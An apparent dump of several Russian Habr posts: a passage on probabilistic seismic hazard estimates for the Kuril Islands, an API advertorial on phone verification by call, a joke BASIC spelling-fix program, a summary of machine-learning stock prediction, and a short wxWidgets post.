Изменчивость (от события к событию и от пункта к пункту), наблюдаемая в данных по сильным движениям грунта, описывается нормальным распределением величины `ln PGA(m,r)` в каждой точке `(m,r)` посредством нулевого среднего и стандартной ошибки `σ` (рис. 2). К этому все же стоит относиться как к допущению, но вполне рабочему [Cornell, 1968].
Тогда из сделанных выше предположений относительно логнормального распределения пикового ускорения грунта следует, что из всех событий магнитуды `m`, происходящих на расстоянии `r` от рассматриваемого пункта, доля тех событий, что не вызовет сейсмические воздействия, превышающие ускорение `a`, есть
где `Ф` – функция распределения стандартной нормальной величины. В приложении дана таблица с численными значениями нормального распределения. Мы ее позаимствовали из [Baker, 2008].
Таким образом, вероятность непревышения заданного уровня сейсмических воздействий `a` от сейсмического события с магнитудой `m` на расстоянии `r` будет полностью задаваться функцией распределения стандартной нормальной величины. Обозначим эту вероятность как `Pr(A≤a│m,r)`. Тогда в соответствии с определением (2) можно записать:
Графическая интерпретация формул (1)-(3) показана на рис. 2. Видно, что регрессия описывает измеренные значения пиковых ускорений грунта. Все точки относятся к одному землетрясению. Точнее говоря, сама регрессия построена по большому набору эмпирических данных разных землетрясений, но для простоты изложения приведены графики для землетрясения с магнитудой `M=5.8`. Скажем, вблизи Невельска (рис. 1) произошла серия землетрясений по магнитуде близких к `M~6`, вызвавшая разрушения в городе.
На рис. 2 виден разброс значений пикового ускорения, который определяет стандартную ошибку `σ=0.783` из (1). Натуральный логарифм пикового ускорения грунта для точек `m=5.8` и `r=10 км` равен `g(m,r)=4.868 (PGA=125 см/сек^2)`. Сейсмические воздействия с пиковым ускорением `0.7g (687 см/сек^2)` соответствую `ln a=6.532`. Тогда вероятность того, что сейсмические воздействия `A`, вызванные землетрясением с магнитудой `m=5.8` на расстоянии `r=10 км`, не превысят `0.7g` (IX баллов) равна (см. Приложение):
Здания не строятся на бесконечное время эксплуатации. У всего есть свой срок службы, и он определяется временем `T`.
***Рисунок 3.** Схематическая иллюстрация сейсмических источников.*
В каком же случае воздействия от землетрясения с магнитудой `M_i`, очаг которого располагается в точке `k` (рис. 3), не превысят в заданном пункте величину ускорения a в течение последующего промежутка времени `T`? Первый ответ на такой длинный вопрос очевиден: если вообще не произойдет ни одного землетрясения за рассматриваемый временной интервал. Второй случай, менее очевиден: если произойдет одно землетрясение, но по определенному в (1) закону затухания оно не вызовет ожидаемых сейсмических воздействий. Вообще за время `T` может произойти хоть два землетрясения или три или вообще `Ns`. Перефразируем сказанное в терминах вероятности.
Примем упрощенную модель, в которой некоторая точка генерирует землетрясения только одной магнитуды. Посмотрим на табл. 1. В ней показаны различные исходы, при которых сейсмические воздействия не будут превышены: ни одного сейсмического события (0), одно (1), два (1 + 1), три (1 + 1 + 1) и т.д. Вероятность возникновения одного события в течение времени `T` равна `p1`, двух – `p2`, трех – `p3` и т.д., ни одного – соответственно `p0`. Естественно, рассматриваемое множество исходов является полным, т.е. других вариантов нет:
Вероятность того, что колебания от землетрясения заданной магнитуды не превысят заданное сейсмической воздействие в заданном пункте, обозначим как `Pr`, которая полностью задается через (3). Тогда вероятность того, что колебания от двух землетрясений не превысят заданное сейсмической воздействие, равна `Pr*Pr`, трех – `Pr*Pr*Pr` и т.д. При отсутствии землетрясений, очевидно, что вероятность непревышения равна `1`. Таким образом, полная вероятность `P` того, что в течение времени `T` сейсмические воздействия в заданном пункте не будут превышены:
**Таблица 1.** Вероятностные модели источника землетрясений заданной магнитуды в заданной точке.
| Исходы(количество событий) | Вероятность возникновения | Вероятность непревышения |
| --- | --- | --- |
| 0 | p0 | 1 |
| 1 | p1 | Pr |
| 1+1 | p2 | Pr\*Pr |
| 1+1+1 | p3 | Pr\*Pr\*Pr |
| ... | ... | ... |
После того как выражение (5) переварено окончательно, можно перейти к рассмотрению общего случая. Для этого нам необходимо задать вероятность того, что в течение последующего времени `T` произойдет `s` событий, `где s=0,1,2,…,Ns`. Обозначим вероятность возникновения s событий с магнитудой `M_i` в некоторой точке `k` в последующее время `T` как `P_k(s,M_i,T)`.
Тогда вероятность непревышения заданного уровня сейсмических воздействий a от сейсмического события с магнитудой `M_i` в точке `k` (рис. 3) в последующий промежуток времени `T` будет задаваться по аналогии с (5):
![$P(A \leq a \mid M_i,T,k)=\sum_{s=0}^{N_s}P_k(s,M_i,T)[Pr(A\leq a \mid M_i,R_k)]^S, (6)$](https://habrastorage.org/getpro/habr/formulas/19c/9ce/f0b/19c9cef0b85e9fa877a2444945e29026.svg)
где `R_k` – расстояние от очага землетрясения в точке `k` до пункта, в котором мы ожидаем сейсмические воздействия.
Дальше – проще. Необходимо рассмотреть независимые реализации магнитуд `M_i`. Конечно, в большой сейсмологии есть исключения. Например, когда сильное землетрясение вызывает серию афтершоков (или другими словами повторные события с магнитудой чуть меньше, чем у главного события). Но для этого производят так называемую декластеризацию каталога землетрясений, т.е. удаление афтершоков и других зависимых событий.
С учетом условия независимости магнитуд из (6) получим вероятность непревышения заданного уровня сейсмических воздействий a от серии землетрясений в точке `k` в последующий промежуток времени `T`:
Разумно предположить, что сейсмические источники независимы, и каждый из них живет своей жизнью. Опять-таки, в большой сейсмологии встречаются случаи, когда тектоническая активность одного разлома вызывает активизацию сейсмичности на другом. Тем не менее, из предположения независимости набора `N` сейсмических источников получим вероятность непревышения заданного уровня сейсмических воздействий a в нашем пункте «ожидания» в последующий промежуток времени `T`:
Перейдем от вероятности непревышения в (8) к вероятности превышения:
Выражение (9) является базовым для производства карт сейсмического районирования в вероятностном анализе сейсмической опасности.
Разберем вкратце вероятность возникновения землетрясения `P_k (s,M_i )`. В сейсмическом районировании часто используется экспоненциальная Пуассоновская модель, то есть вероятность того, что в последующие `T` лет произойдет s землетрясений равна:
![$P_k (s,M_i,T)=\frac{[λ_k (M_i )T]^s exp[-λ_k (M_i )T]}{s!}, (10)$](https://habrastorage.org/getpro/habr/formulas/a5d/600/737/a5d600737f388cd3d7da546b80b875c4.svg)
где `λ_k (M_i )` – частота возникновения землетрясений с магнитудой `M_i` в точке `k`. Как и положено сумма (10) по всем `s` от нуля до бесконечности равна единице!
Японские ученые по данным о палеоцунами сделали реконструкция исторических землетрясений. Как известно, цунами вызываются довольно сильными сейсмическими событиями, а их заплески сохраняются в геологической и морфологической истории побережья. По оценкам японцев в районе южных Курильских островов магнитуда максимально возможного землетрясения может быть не менее `M=8.8`. Как они считают, рассматриваемые события происходят не случайно, а периодично. Межсейсмический интервал лежит в диапазоне 340-380 лет, т.е. средний период повторяемости составляет 360 лет. Тогда частота возникновения землетрясений `λ` будет оцениваться как `1/360 год^-1`.
Давайте снова рассмотрим упрощенную модель сейсмического источника – в заданной точке заданной магнитуды (рис. 3). Нормативный интервал времени примем `T=30 лет`. Тогда очевидно, что `λT << 1`. Это означает, что в формуле (10) можно ограничиться «первыми» вероятностями `p0` и `p1`:
Из (11) следует, что в каждый момент времени возникновение землетрясения равновероятно. Например, по этой модели нашумевшее «мощнейшее» землетрясение возникнет в последующие 30 лет с вероятностью `0.083`.
Вероятность непревышения заданных сейсмических воздействий по формуле (5) будет оцениваться как
Искомая вероятность превышения согласно (9) и (12) задается как
Раскладывая (13) по степеням `λT` и оставляя только первые члены разложения, получим:
Таким образом, при некоторых допущениях мы получили простую формулу для оценки нормативных сейсмических воздействий вероятностным методом. Осталась последняя деталь. Это закон затухания сильных движений грунта для Курильских островов.
Для Курильских островов близким по геологическим и тектоническим условиям является соседний регион Японии. Здесь, как и в Калифорнии, на современном уровне разработаны уравнения затухания пиковых ускорений грунта. Наиболее унифицированной моделью, учитывающей разделение сейсмичности на субдукционный и коровый тип, является базовая модель Ши и Мидорикава [Si, Midorikawa, 1999]. Более поздние модификации этой модели во многом связаны с уточнением коэффициентов после детального анализа сейсмических воздействий [мега-землетрясения Тохоку 2011 г. (Mw 9.0)](https://www.youtube.com/watch?v=jBdvvXyS-r4).
где
`A` – пиковое ускорение в `см/с^2`; `D` – «средняя» глубина плоскости разрыва (глубина центроида) в км; `X` – наикротчайшее расстояние до разрыва в `км`; `Mw` – моментная магнитуда;
**+ другие коэффициенты**
Для коровых землетрясений `S_1=1, S_2=0, S_3=0;` для межплитовых землетрясений `S_1=0, S_2=1, S_3=0;` для внутриплитовых `S_1=0, S_2=0, S_3=1.`
*Рисунок 4. Модель сейсмического источника на южных Курилах [(источник)](https://japan-forward.com/magnitude-9-earthquake-in-kuril-trench-highly-imminent-government-scientists/)*
«Наше» мега-землетрясение ожидается на стыке двух плит, т.е. тип землетрясения – межплитовый. Японское мега-землетрясение Тохоку 2011 г., известное по трагедии на атомной станции Фукусима, произошло на глубине около 11 км. Поэтому и в нашем случае примем глубину очага `D=11 км`, а магнитуду `Mw=8.8` (как предполагают японцы). На рис. 4 изображена пространственная модель ожидаемого на Курилах мега-землетрясения. Так, например для о. Шикотан наикротчайшее расстояние от погружающегося в сторону Курильских островов разлома до центра острова будет около 40 км, поэтому примем `X=40 км`. Теперь, когда все входные параметры определены, определим вероятность `Pr(A≤a│m=8.8,r=40)` из (14) согласно закону затухания (15). Для этого надо немного повозиться, выражение (15) привести к натуральному логарифму и т.д. В результате получим: `g(m,r)=7.22`, `σ_ln PGA =0.62`. Ниже, в табл. 2, представлены посчитанные значения вероятности.
**Таблица 2. Вероятности превышения заданных сейсмических воздействий**
| Ускорение `a, g` | Ускорение `a, см/сек^2` | *Ln a* | Вероятность `Pr(A≤a│m,r)` | Вероятность `Q(A>a│T)` |
| --- | --- | --- | --- | --- |
| 0.30 | 294.30 | 5.68 | 0.99 | 0.083 |
| 0.40 | 392.40 | 5.97 | 0.98 | 0.081 |
| 0.50 | 490.50 | 6.20 | 0.95 | 0.079 |
| 0.60 | 588.60 | 6.38 | 0.91 | 0.076 |
| 0.70 | 686.70 | 6.53 | 0.87 | 0.072 |
| 0.80 | 784.80 | 6.67 | 0.82 | 0.068 |
| 0.90 | 882.90 | 6.78 | 0.76 | 0.063 |
| 1.00 | 981.00 | 6.89 | 0.71 | 0.059 |
| 1.20 | 1177.20 | 7.07 | 0.60 | 0.050 |
| 1.40 | 1373.40 | 7.23 | 0.50 | 0.042 |
Целью такого анализа является оценка вероятности превышения уровня движения грунта, а главный результат состоит в определении зависимости вероятности превышения от уровня движения, которая называется кривой опасности. Кривая опасности наглядно приведена на рис. 5 согласно данным из табл. 2. Из рис. 5 мы видим, что вероятность превышения 0.06 в течение ближайших 30 лет соответствует уровню сейсмических воздействий около 0.9g. Это больше 9 баллов. Такая оценка для Курильских островов является волне естественной и ожидаемой, если вспомнить, что здесь в 1994 году произошло крупное землетрясение, именуемое [Шикотанским](https://ru.wikipedia.org/wiki/%D0%A8%D0%B8%D0%BA%D0%BE%D1%82%D0%B0%D0%BD%D1%81%D0%BA%D0%BE%D0%B5_%D0%B7%D0%B5%D0%BC%D0%BB%D0%B5%D1%82%D1%80%D1%8F%D1%81%D0%B5%D0%BD%D0%B8%D0%B5_(1994)). Оно сопровождалось разрушениями сооружений, гибелью людей, волнами цунами и многочисленными оползнями. Интенсивность сотрясений на о. Шикотан составила от VIII до IX баллов по шкале MSK-64.
**Шикотанское землетрясение**
[Источник](https://sakhalin.info/news/96991)
***Рисунок 5.** Кривые опасности для о. Шикотан по модели сейсмического источника на южных Курилах по данным [этого источника](https://japan-forward.com/magnitude-9-earthquake-in-kuril-trench-highly-imminent-government-scientists/).*
Кроме Пуассоновской модели существуют модели возникновения землетрясений с «памятью», которые учитывают историю предшествующей сейсмичности. К ним относится Броуновская модель (Brownian Passage Time). Ее применяют японские коллеги при построении карт сейсмического районирования для хорошо изученных территорий. По их оценкам, вероятность возникновения мега-землетрясения в ближайшие 30 лет на южных Курилах составила от 0.07 до 0.4 (рис. 4).
Представьте себе, что максимальное землетрясение происходит строго периодично – один раз в 1000 лет. И вот оно произошло, скажем, 20 лет назад, а мы собираемся в этом месте построить жилые здания, которые прослужат следующие 50 лет. За это время сильные события уже не произойдут, так как были только что, а следующее повторится не раньше, чем через 980 лет. Если такой факт периодичности установлен, то используется Броуновская модель. Тогда мы получим карты сейсмического районирования с более низкими значениями расчетной интенсивности сейсмических воздействий, и это на выходе удешевит строительство. Какую модель выбирать, решает не один специалист, а группа экспертов.
Для расчета кривой опасности по Броуновской модели требуется больше времени и материалов. Однако мы примем для простоты, что вероятность возникновения одного землетрясения в последующие 30 лет нам известна и она равна p1, согласно донесению японских коллег. Тогда вероятность того, что ни одного события в ближайшие 30 лет не произойдет примем p0=1-p1. Окончательно вероятность **превышения** будет задаваться как
Для максимальной вероятности возникновения мега-землетрясения 0.4 мы построили кривую опасности (рис. 5). Она показывает запредельные значения проектных сейсмических воздействий (рис. 5), более X баллов. В реальности мы не учитывали много моментов, касающихся грунтовых условий, характера затухания сейсмических воздействий от мега-землетрясений и т.д. Известно, что сейсмические воздействия от землетрясения с магнитудой `Mw=9.0` не намного больше тех, что вызваны событиями с `Mw=8.3`. А это значит, что мы явно переоценили сейсмические воздействия по формуле (15). Тем не менее, представленный расчет позволяет почувствовать масштаб проблемы.
Последнее. Почему японские сейсмологи дали вероятностную модель сейсмических источников на ближайшие 30 лет? В японских нормах приняты эксплуатационные сроки «жизни» зданий и сооружений 30 и 50 лет, в российских строительных правилах – 50 лет. Технология сейсмического районирования во всем мире (в том числе и у нас в стране) сводится к оценке сейсмических воздействий, которые будут превышены в течение 30 или 50 лет с заданной вероятностью. Для объектов нормальной ответственности (а это наши с вами жилые дома и офисы) строительными нормами задается вероятность превышения 0.1 в течение 50 лет. Для 30 лет задается вероятность 0.06 (это Япония и некоторые другие страны).
Таким образом, японские сейсмологи приняли консервативную оценку сейсмической модели, которая будет использована при актуализации карт сейсмического районирования. Это подчеркивает высокую ответственность и культуру сейсмологических изысканий японских ученых. Это также говорит о том, что Земля не знает границ, и исследование природных явлений требует объединения усилий ученых из разных стран.
Анализ выполнил Алексей Коновалов (a.konovalov@geophystech.ru), заместитель директора по научной работе в ООО «ГЕОФИЗТЕХ».
**Список литературы**1. Baker, J.W. An introduction to probabilistic seismic hazard analysis (PSHA) / J.W. Baker // Report for the US Nuclear Regulatory Commission, Version 1.3. 2008. Section 1. P. 5-27.
2. Cornell, C.A. Engineering seismic risk analysis / Cornell C.A. // Bull. Seism. Soc. Am. 1968. Vol. 58. P.1583-1606.
3. Si H., Midorikawa S. New Attenuation Relationships for Peak Ground Acceleration and Velocity Considering Effects of Fault Type and Site Condition // Journal of Structural and Construction Engineering, A.I.J. 1999. V. 523. P. 63-70, (in Japanese with English abstract).
4. [japan-forward.com/magnitude-9-earthquake-in-kuril-trench-highly-imminent-government-scientists](https://japan-forward.com/magnitude-9-earthquake-in-kuril-trench-highly-imminent-government-scientists/)
5. [www.skr.su/news/279459](https://www.skr.su/news/279459)
6. [ria.ru/science/20171220/1511300109.html](https://ria.ru/science/20171220/1511300109.html)
7. [www.the-japan-news.com/news/article/0004136947](http://www.the-japan-news.com/news/article/0004136947)
**Приложение №1**
`Baker, J.W. An introduction to probabilistic seismic hazard analysis (PSHA) / J.W. Baker // Report for the US Nuclear Regulatory Commission, Version 1.3. 2008. Section 1. P. 5-27.` | https://habr.com/ru/post/346734/ | null | ru | null |
# Подтверждение номеров телефона без SMS
Сегодня компаниям все чаще нужно верифицировать клиента не только по email, но и по телефонному номеру. Проблем с подтверждением номера по смс две — это дорогой для компании и не всегда безопасный способ — клиенты часто используют временные виртуальные номера.
Предлагаем простой API метод для авторизации номеров телефонным звонком.
### Зачем нужно?
Телефонный номер остается одним из самых простых и надежных идентификаторов клиента.
Авторизация по номеру телефона используют сервисы с целью:
* Двухфакторной аутентификации
* Регистрации
* Восстановления пароля
Как выше писали, авторизация по СМС часто не совершенна и слишком дорога. Регистрация или двухфакторная авторизация по звонку на телефонный номер сегодня — оптимальный способ подтверждения личности.
### Как работает?
1. Ваш клиент вводит номер телефона в форме на сайте
2. Вы генерируете числовой код и отправляете API запрос
3. Робот звонит клиенту и произносит цифры
4. Клиент вводит цифры в форме на сайте, тем самым подтверждая номер
Как видим все предельно просто, все что вам нужно это сгеренировать случайный код и отправить вызов через API.
### Как реализовать
В открытом API Zadarma есть метод [request\_checknumber](https://zadarma.com/ru/support/api/#request_checknumber).
Его параметры:
* caller\_id — номер, с которого совершается звонок, должен быть номером, подключенным в Zadarma;
* to — номер телефона клиента, которому звонит робот;
* code — код, который будет воспроизводиться. Набор цифр задаете вы, а воспроизводит голосовой робот, максимальная длина кода — 20 символов;
* lang — язык начитки кода. Доступные языки — русский, английский, испанский, польский, немецкий, французский, украинский.
Вы просто генерируете код, отправляете API запрос и ждете пока клиент введет этот код у вас на сайте.
### Что требуется, чтобы начать?
Несколько простых шагов для того, чтобы использовать авторизацию по номеру телефона в своём сервисе:
1. [Регистрируетесь](https://zadarma.com/ru/registration/)
2. Подключаете виртуальный номер в сервисе (обязательное условие, звонки вашим клиентам должны проходить с телефонного номера, подключенного в Zadarma)
3. В личном кабинете создаете ключ авторизации API, начинаете работать с методом
Для удобства работы с API Zadarma, рекомендуем использовать [официальную библиотеку](https://github.com/zadarma/user-api-v1) (php, python и C#). После установки задаете ваши ключи API в подключаемых файлах.
Вот пример запроса с использованием клиента на языке PHP:
```
php
use Zadarma_API\Api;
require_once __DIR__.DIRECTORY_SEPARATOR.'include.php';
define('USE_SANDBOX', false);
$api = new Api(KEY, SECRET, USE_SANDBOX);
$api-call('/v1/request/checknumber/', [
"caller_id" => "74990000000",
"to" => "79170000000",
"code" => "12345",
"lang" => "ru"
]);
```
А вот успешный ответ на данный запрос:
```
{
"status":"success",
"from":74990000000,
"to":79170000000,
"lang":"ru",
"time":1612779278
}
```
### Стоимость
Интерфейс API Zadarma бесплатный. Для подтверждения номеров оплачивается [исходящий звонок](https://zadarma.com/ru/tariffs/calls/) (посекундно) и [аренда номера](https://zadarma.com/ru/tariffs/numbers/) для совершения вызовов (1 раз в месяц). Для примера, исходящий звонок с произнесением кода на российский мобильный будет стоить около 30 копеек (примерно 15 секунд). А аренда номера в Москве обойдется в 120 рублей (код 499). В [пакетных тарифах](https://zadarma.com/ru/tariffs/plans/) звонки еще дешевле, а виртуальный номер уже включен в пакет. | https://habr.com/ru/post/543394/ | null | ru | null |
# Познаём Русский язык. Цистерна первая, полная.
`10 INPUT string$
20 LET from$ = "жы"
30 LET to$ = "жи"
40 GO SUB 1000
50 LET from$ = "шы"
60 LET to$ = "ши"
70 GO SUB 1000
80 LET from$ = "чя"
90 LET to$ = "ча"
100 GO SUB 1000
110 LET from$ = "щя"
120 LET to$ = "ща"
130 GO SUB 1000
140 LET from$ = "чю"
150 LET to$ = "чу"
160 GO SUB 1000
170 LET from$ = "щю"
180 LET to$ = "щу"
190 GO SUB 1000
200 PRINT string$
300 STOP
1000 LET lenstr = LEN string$
1010 LET lenfrm = LEN from$
1020 FOR n = 0 TO lenstr
1030 IF string$(n TO n+lenfrm) = $from THEN LET string$ = string$(TO n) + to$ + string$(n+lenfrm TO)
1040 NEXT n
1050 RETURN`
Во второй полной цистерне я научу вас, как писать частицу «не» отдельно от глаголов :) | https://habr.com/ru/post/49552/ | null | ru | null |
# Техники машинного обучения для прогнозирования цен акций: функции индикаторов и анализ новостей
[](https://habrahabr.ru/company/itinvest/blog/275825/)
В нашем блоге мы уже затрагивали тему предсказания цен акций с помощью [алгоритма адаптивной фильтрации](https://habrahabr.ru/company/itinvest/blog/274821/). Финансист из Нью-Йорка Ватсал Шах (Vatsal Shah) в своей [работе](http://www.vatsals.com/Essays/MachineLearningTechniquesforStockPrediction.pdf) рассмотрел возможность использования для этих целей алгоритмов машинного обучения. Мы представляем вашему вниманию главные мысли этого документа.
#### Введение
Существует две методики прогнозирования цен акций:
* **Фундаментальный анализ** — в этом случае аналитики оценивают информацию, которая больше относится к компании, чьи акции торгуются на бирже, нежели к самим акциям. Решения о тех или иных действиях на рынке принимаются на основе анализа предыдущей деятельности компании, прогнозах выручки и прибыли и так далее.
* **Технический анализ** — в данном случае рассматривается поведение цены акций и выявляются его разнообразные паттерны (используется анализ временных рядов).
В случае применения методов машинного обучения для обработки торговых данных, чаще используют именно метод технического анализа — цель заключается в том, чтобы понять, может ли алгоритм точно определять паттерны поведения акции во времени. Тем не менее, машинное обучение может использоваться также для оценки и прогнозирования результатов деятельности компании для дальнейшего использования при фундаментальном анализе. В конечном итоге, наиболее эффективным методом автоматизированного предсказания цены акций и генерирования инвестиционных рекомендаций является гибридный подход, сочетающий в себе подходы фундаментального и технического анализа.
#### Гипотеза эффективного рынка
[Гипотеза эффективного рынка](https://ru.wikipedia.org/wiki/%D0%93%D0%B8%D0%BF%D0%BE%D1%82%D0%B5%D0%B7%D0%B0_%D1%8D%D1%84%D1%84%D0%B5%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D0%BE%D0%B3%D0%BE_%D1%80%D1%8B%D0%BD%D0%BA%D0%B0) (Efficient Market Hypothesis, EMH) предполагает, что вся существенная информация немедленно и в полной мере отражается на рыночной курсовой стоимости ценных бумаг. Существует три формы рыночной эффективности: слабая, средняя и сильная. Слабая форма подразумевает, что стоимость рыночного актива полностью отражает прошлую информацию, а сильная — что стоимость отражает всю информацию, как прошлую, так и публичную или внутреннюю.
#### Гипотеза случайного блуждания
Математическая модель случайного блуждания (Random Walk Hypothesis) предполагает, что изменения цены акций на каждом шаге не зависит от предыдущих и от времени. Таким образом невозможно выявить никакие паттерны поведения цены и использовать их.
#### Функции индикаторов
Для технического анализа рыночных цен используются различные атрибуты и индикаторы. К последним относятся, к примеру,:
* **Скользящие средние** (Moving Average, MA) — отображают средние n прошлых значений до текущего момента;
* **Экспоненциальная скользящая средняя** (Exponential Moving Average, EMA) — придает больше веса наиболее недавным значениям, но не отбрасывает старые значения полностью;
* **Моментум или скорость изменения** (Rate of Change, RoC) — один из самых простых технических индикаторов, рассчитываемый как отношение или разница между текущей ценой и ценой n периодов назад.
* **Индекс относительной силы** (Relative Strength Index, RSI) — определяет силу тренда и вероятность его смены в течение определенного времени (обычно, 9-14 дней).
Для описываемого проекта в качестве главного индикатора был выбран EMA — он позволяет обрабатывать практически неограниченный объём исторических данных, что очень важно для анализа с помощью временных рядов. Однако стоит заметить, что использование других индикаторов может приносить и большую точность прогнозов анализируемых акций.
`EMA (t) = EMA (t-1) + alpha * (Price (t) - EMA (t-1))`
где, alpha = 2/ (N+1), таким образом, for N=9, alpha = 0.20
В теории, проблема предсказания цены акции может быть рассмотрена, как оценка функции F во времени T на основе предыдущих значений F во время t-1,t-2 … t-n, присваивая соответствующую весовую фукнцию w на в каждый момент F:
`F (t) = w1*F (t-1) + w2*F (t-2) + … + w*F (t-n)`
График ниже показывает, как EMA моделирует текущую цену акций:
#### Среда обучения
В ходе проекта были использованы среды для дата-майнинга Weka и YALE. Конфигурация выглядела таким образом:
Шаг выбора атрибутов для некоторых методов машинного обучения был пропущен, поскольку общее их количество составляло меньше 10.
#### Предобработка исторических данных
Для эксперимента с сайта Yahoo Finance были загружены исторические данные по ценам акций компаний Google Inc. (тикер GOOG) и Yahoo Inc. (YHOO). Набор данных имел следующие атрибуты: Date Open High Low Close Volume Adj. Close.
Индикатор EMA предполагает, что цена акции в предыдущий день торгов будет оказывать на текущую цену наибольшее значение. Таким образом, чем ближе временная точка находится к текущему моменту, тем большее значение она оказывает на цену текущего дня. В ходе временного анализа исследователь брал Дату в качестве оси X — каждая дата представляла собой целое значение. К имеющимся атрибутам был добвлен еще один — Indicator, в данном конкретном случае EMA.
#### Техники машинного обучения
В данной секции исследования представлены результаты применения различных алгоритмов машинного обучения.
> ###### Алгоритм [Decision Stump](https://en.wikipedia.org/wiki/Decision_stump)
>
>
Применения простого алгоритма для предсказания EMA позволило добиться следующих результатов:
* Коэффициент корреляции 0.8597
* Средняя абсолютная ошибка 46.665
* Корень среднеквадратичной ошибки 57.8192
* Относительная абсолютная ошибка 46.8704 %
* Корень среднеквадратичной относительной ошибки 50.9763 %
* Общее число периодов 681
> ###### Линейная регрессия
>
>
Применение простой линейной регрессии (используются только численные атрибуты) для предсказания EMA дали следующие результаты:
* Коэффициент корреляции 0.9591
* Средняя абсолютная ошибка 12.9115
* Корень среднеквадратичной ошибки 32.0499
* Относительная абсолютная ошибка 12.9684 %
* Корень среднеквадратичной относительной ошибки 28.2568 %
* Общее число периодов 681
> ##### Метод опорных векторов
>
>
Использование метода опорных векторов (C-Class) с прмиенение радиальной базисной функции ядра с параметром настройки C в диапазоне от 512 до 65536, позволило получить следующую точность прогнозирования движения цены:
Корень среднеквадратичной ошибки: 0.486 ± 0.012
Точность: 60.20 ± 0.49%
> ###### Бустинг
>
>
После использования алгоритма C-SVC к набору данных был применен алгоритм бустинга AdaBoostM1 — это позволило добиться серьезного улучшения точности.
Корень среднеквадратичной ошибки: 0.467 ± 0.008
Точность: 64.32% ± 3.99%
Из выходных данных YALE была извлечена следующая матрица неточностей:
#### Предсказание цен акций на основе текстового анализа финансовых новостей
В настоящее время большой объём ценных данных, которые могут повлиять на ситуацию на рынке, доступен в сети (о подобном влиянии мы писали в [своей статье](http://habrahabr.ru/company/itinvest/blog/230235/)). Большая часть такой информации содержится в финансовых новостях, отчетах компаний и рекомендациях экспертов (источником таких рекомендаций, к примеру, могут служить блог инсайдеров и аналитиков). Большая часть этих данных представлена в текстовом формате, что затрудняет их использование. Таким образом, новая проблема заключается в необходимости анализа текстовых документов одновременно с выполнением анализа временных рядов.
Исследователь использовал метод, который подразумевает определение степени влияния новостей на конкретную акцию: оно может быть позитивным (Positive), негативным (Negative) или нейтральным (Neutral).
Считается, что новость имеет положительное влияние (или негативное), если цена акции серьезно растет (или падает) в период сразу после ее публикации. Если цена акции серьезным образом не изменяется после публикации новости, то ее влияние считается нейтральным.
Другой использованный метод подразумевает определение паттернов в новостных статьях, которые напрямую соовтетствуют росту или снижению цены акций. Он работает следующим образом:
Специальный поисковый робот проходит по новостным статьям и индексирует их для конкретного портфолио акций. Среда обучения запрашивает новости за период T минут с момента индексации. Эта среда состоит из несколько модулей обучения, которые ищут нужную информацию в тексте новостной заметки или материалах из блогов экспертов (например, «цена нефти будет снижаться»). В словарь для анализа входят слова и фразы, влияющие на условия положительного (Positive Prediction Terms) или негативного движения (Negative Prediction). Каждый раз, когда фраза из набора Positive Prediction Terms появляется в тексте статьи, ей присваивается положительная оценка (Positive Vote).
На диаграмме ниже представлена архитектура такой системы:
Как нетрудно заметить, данный метод позволяет делать лишь довольно грубые предположения. Чтобы повысить их точность необходимо добавить статьям больше весов — например, на основе ранжирования источников информации для публикации. Кроме того, следует учитывать форматы заголовков текстов, содержащие фразы из наборов Positive или Negative Prediction Terms.
#### Использование в качестве веса новости авторитетности экспертов
Исследователь также описывает использование для дополнительного взвешивания текстовых материалов оценку авторитетности экспертов, высказывающих ту или иную точку зрения. К примеру, для акций Google он подобрал список аналитиков, которые долгое время пишут об этой компании, и звездочками отметил степень качества их прогнозов:
На вход системы подаются мнения экспертов рынка акций (просто их мнение, которое необязательно оказывается верным), а затем на основе их прогнозов раз за разом делаются предсказания возможного движения цены. На каждой итерации вес эксперта, чье предсказание оказалось верно, повышается, а у тех, кто ошибся — наоборот снижается. Еще одна разновидность метода предполагает полное удаление из списка тех экспертов, которые ошиблись, однако он является не самым эффективным — все-таки ошибаются даже самые лучшие и уважаемые финансовые аналитики.
Алгоритм взвешивания экспертов может быть описан следующим образом:
> *Дано: вектор E = { e1, e2,….eN} финансовых экспертов и их прогнозов.
>
>
>
> Присвоить вес W(e(i)) = 1 для каждого эксперта e(i).
>
> Для раунда t in 1…T
>
> Сделать предсказание на основе [алгоритма взвешенного большинства](https://books.google.ru/books?id=0_DGBgAAQBAJ&pg=PA165&lpg=PA165&dq=%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC+%D0%B2%D0%B7%D0%B2%D0%B5%D1%88%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE+%D0%B1%D0%BE%D0%BB%D1%8C%D1%88%D0%B8%D0%BD%D1%81%D1%82%D0%B2%D0%B0&source=bl&ots=vs6T8IiKFv&sig=KohWLdK_0VH4YjPIzuvJp_Pwtqs&hl=en&sa=X&ved=0ahUKEwjr-Jbsmr3KAhWCJXIKHSmeBGwQ6AEIIzAB#v=onepage&q=%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC%20%D0%B2%D0%B7%D0%B2%D0%B5%D1%88%D0%B5%D0%BD%D0%BD%D0%BE%D0%B3%D0%BE%20%D0%B1%D0%BE%D0%BB%D1%8C%D1%88%D0%B8%D0%BD%D1%81%D1%82%D0%B2%D0%B0&f=false).
>
>
>
> Для экспертов, которые сделали верный прогноз W(e(i))(t) = 2\*W(e(i))(t-1)
>
>
>
> Для экспертов, которые сделали неверный прогноз W(e(i))(t) = ½ \* W(e(i))(t-1)
>
> Сохранить рейтинг эксперта (Expert Rating) для последующего взвешивания.*
Такую технику взвешивания на основе экспертных мнений можно рассматривать в качестве гибридного подхода, комбинирующего в себе фундаментальный и технический анализ — эксперты делают прогнозы на основе фундаментального анализа, а алгоритм впоследствии использует их для генерирования собственных прогнозов с помощью методов технического анализа.
#### Заключение
Из всех использованных алгоритмов только комбинация метода опорных вектора и алгоритма бустинга позволили добиться сколько-нибудь удовлетворительных результатов точности прогноза.
Другим перспективным методом анализа является взвешивание экспертов. Однако в настоящий момент эффективность методов лингвистического анализа для генерирования прогнозов движения цен акций является предметом дальнейшего изучения и каких-то определенных выводов о его применимости на практике сделать нельзя. | https://habr.com/ru/post/275825/ | null | ru | null |
# Библиотека инструментов wxWidgets. Сборка
В продолжение поста (новости) [wxWidgets. Мелочь, но приятно](http://habrahabr.ru/post/212333/), ловите печеньку.
*Картинка взята с ресурса: [ru.wikipedia.org](http://ru.wikipedia.org/), автор: Bryan Petty.*
